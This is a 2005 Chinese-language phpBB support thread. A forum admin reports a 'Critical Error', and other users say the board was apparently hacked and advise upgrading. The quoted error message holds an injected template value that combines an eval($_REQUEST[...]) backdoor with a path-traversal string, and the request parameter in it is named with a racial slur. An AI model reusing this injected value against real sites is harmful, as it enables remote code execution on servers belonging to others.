1 頁 (共 1 頁)

[問題]請問Critical Error的問題

發表於 : 2005-04-16 19:06
popson
●架設主機作業系統:Windows 2000
●快速架站程式:Appserv 2.4.1
●您的上網方式:學術網
●您的 phpBB2 版本:phpBB 2.0.10
●您的 domain(網域名稱) :http://spider.cs.ccu.edu.tw/
●您的 phpBB2 連結網址:http://spider.cs.ccu.edu.tw/phpbb2/
●錯誤代碼:

代碼: 選擇全部

phpBB : Critical Error 

Could not open aaa=12;eval(stripslashes($_REQUEST[nigga]));exit();// /../../../../../../../../../../../../../../../../../../../tmp template config file

DEBUG MODE

Line : 327
File : j:\appserv\www\phpbb2\includes\functions.php 
●錯誤狀態:
我發現我的 J:\AppServ\www\phpbb2\templates 底下只有subSilver這個Template而已
可是不知為何在控制台裡Template的選單除了subSilver還有另一個Template可以選
基於好奇我選了下去 儲存設定後就在也沒辦法恢復了 Orz..
上面這個code錯誤訊息是否代表'TEMPLATE_CONFIG'儲存到了另一個Template
不知道哪位大大可以交我怎麼樣把他設定回儲存成subSilver的Template設定

---
不好意思..這次應該有遵守發文規則了吧?

發表於 : 2005-04-16 19:41
popson
我發現mySQL資料庫中phpbb2的phpbb_themes table中\r
除了subSilver這個Template資料外 還多一些不知道哪裡來的資料
錯誤訊息如下圖
圖檔

而j:\appserv\www\phpbb2\includes\functions.php這個檔案裡的$style似乎是存成2了
所以在load template時才會一直load themes_id = 2這個錯誤的template
下面是function.ini當中的code(就是顯示error message的code部份)

代碼: 選擇全部

function setup_style($style)
{
	global $db, $board_config, $template, $images, $phpbb_root_path;

	$sql = "SELECT * FROM " . THEMES_TABLE . " WHERE themes_id = $style";
	if ( !($result = $db->sql_query($sql)) )
	{
		message_die(CRITICAL_ERROR, 'Could not query database for theme info');
	}

	if ( !($row = $db->sql_fetchrow($result)) )
	{
		message_die(CRITICAL_ERROR, "Could not get theme data for themes_id [$style]");
	}

	$template_path = 'templates/' ;
	$template_name = $row['template_name'] ;

	$template = new Template($phpbb_root_path . $template_path . $template_name);

	if ( $template )
	{
		$current_template_path = $template_path . $template_name;
		@include($phpbb_root_path . $template_path . $template_name . '/' . $template_name . '.cfg');

		if ( !defined('TEMPLATE_CONFIG') )
		{
			message_die(CRITICAL_ERROR, "Could not open $template_name template config file", '', __LINE__, __FILE__);
		}
....
....
}
請問各位大大該怎麼讓$style的值回復成1呢?

發表於 : 2005-04-16 20:12
popson
已解決\r
請版主刪除吧\r
謝謝!

發表於 : 2005-04-16 20:28
Mac
你的討論版好像是被植入木馬耶 ^^"

~Mac

發表於 : 2005-04-17 01:27
popson
真的被駭客入侵了阿!?..@@||
請問是怎麼看出來的..
要怎麼解決呢..?

這討論版只是架起來應付用的
沒什麼好駭客的呀 ><
希望不要被拿來當跳板做壞事..

發表於 : 2005-04-17 08:53
kp3011
popson 寫:真的被駭客入侵了阿!?..@@||
請問是怎麼看出來的..
要怎麼解決呢..?

這討論版只是架起來應付用的
沒什麼好駭客的呀 ><
希望不要被拿來當跳板做壞事..
看出來: 之前也有一堆文章這樣子求助的 :wink:
解決: 更新到新版本吧